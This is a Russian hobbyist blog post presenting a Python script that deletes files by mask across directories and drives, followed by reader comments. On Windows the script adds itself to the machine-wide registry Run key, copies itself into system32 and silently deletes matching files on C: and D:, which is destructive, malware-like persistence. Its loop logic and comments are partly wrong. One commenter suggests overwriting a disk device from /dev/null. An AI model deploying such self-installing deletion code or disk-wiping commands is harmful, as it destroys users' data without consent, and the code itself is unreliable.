Python: Удаление файлов по маске.

Posted by Reason89 | Posted in

   Раньше часто нужно было удалять какие либо файлы по маске, да и сейчас есть необходимость. Скрипт работает как в *nix системах так и в windows системах, для windows функционал выше. Обходим стороной папку Windows, что бы не сделать ничего плохого и добавляем это творение в автозагрузку. Так же поставил возможность задержки по времени.
   Вообщем ничего особо сложного тут нет, но на первое время для практики самое то. Сидел с ним где то 4 дня, из них 3 ушло на то, чтоб разобраться с модулем _winreg. Пока обхожу стороной создание функций и ООП. Потому код и занимает столь большое количество строчек.
   П.С. Может кто либо ставил в blogger нормальную читалку для кода, пожалуйста посоветуйте что нибудь...

# -*- coding: utf-8 -*-
import glob, os, sys, time   # Импортируем необходимые модули
a, c, x, r = 10, "", 1, 0
t = 1                        # Установка таймаута в секундах; 5400 - 1,5 часа
ra = "restw"                 # Установка расширения, без точки
name = "*"                   # Установка имени файла; * - любое, ? - заменяет любой один символ
time.sleep(t)                # Таймаут
if os.name == "posix":       # Для nix систем
   while  x < a:             # Каждый новый цикл, опускает поиск на директорию ниже
      b = "/*"
      put = "."+c+"/"+name+"."+ra     # Маска
      llist = glob.glob(put)          # Осуществляем поиск файлов по маске
      c = c+b
      x = x+1
      l = len(llist)
      while r < l:
         os.remove(llist[0])          # Удаляем файл
         del llist[0]                 # и информацию в списке о нем
         l = len(llist)
elif os.name == "nt":                 # Для windows систем
   import _winreg, shutil             # Импортируем модули для работы с реестром и файлами
   reg = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, r"SOFTWARE\Microsoft\Windows   \CurrentVersion\Run", 0, _winreg.KEY_ALL_ACCESS)
   _winreg.SetValueEx(reg, "del", 0, _winreg.REG_SZ, r"C:\WINDOWS\system32\del.py") 
   shutil.copy(sys.argv[0], u"C:\WINDOWS\system32")  # Копируем запущеный файл, в нужную директорию
   while  x < a:                      # Каждый новый цикл, опускает поиск на директорию ниже
      b= "*/"
      putc = "C:/"+c+"/"+name+"."+ra  # Маска для диска С
      putd = "D:/"+c+"/"+name+"."+ra  # Маска для диска D
      clist = glob.glob(putc)         # Поиск по диску C
      dlist = glob.glob(putd)         # Поиск по диску D
      c = c+b
      x = x+1
      cl = len(clist)
      dl = len(dlist)
      if r < cl:
         wc = clist[0].find('windows') # Обходим каталог Windows
         if wc == -1:
            os.remove(clist[0])        # Если файл находится в папке Windows, то удаляем его
            del clist[0]               # и информацию о нем
         else:
            del clist[0]               # Иначе удаляем только информацию о нем
         cl = len(clist)
      while r < dl:                    # Поиск и удаление по диску D
         os.remove(dlist[0])
         del dlist[0]
         dl = len(dlist)



Comments (3)

    Первоначально был косяк в том, что оказывается удалялся только один файл в каталоге, сейчас исправил.

    Тыб чтоль каментов побольше наделал. Да и почему под винду больше функционал, в линухе можно много весёлого придумать, например слать три раза подряд /dev/null в /dev/hda или /dev/hda в /dev/dsp. Или какой-нить cmatrix заместо баша поставить. ПРидумать столько всего весёлого можно... Опять же выполнение скрипта по крону.

    Ты же отлично знаешь про мои познания линукс =). Со временем, когда окончательно освоюсь в них, буду больше внимания уделять им.
    На счет коментариев, сейчас подправлю...

Отправить комментарий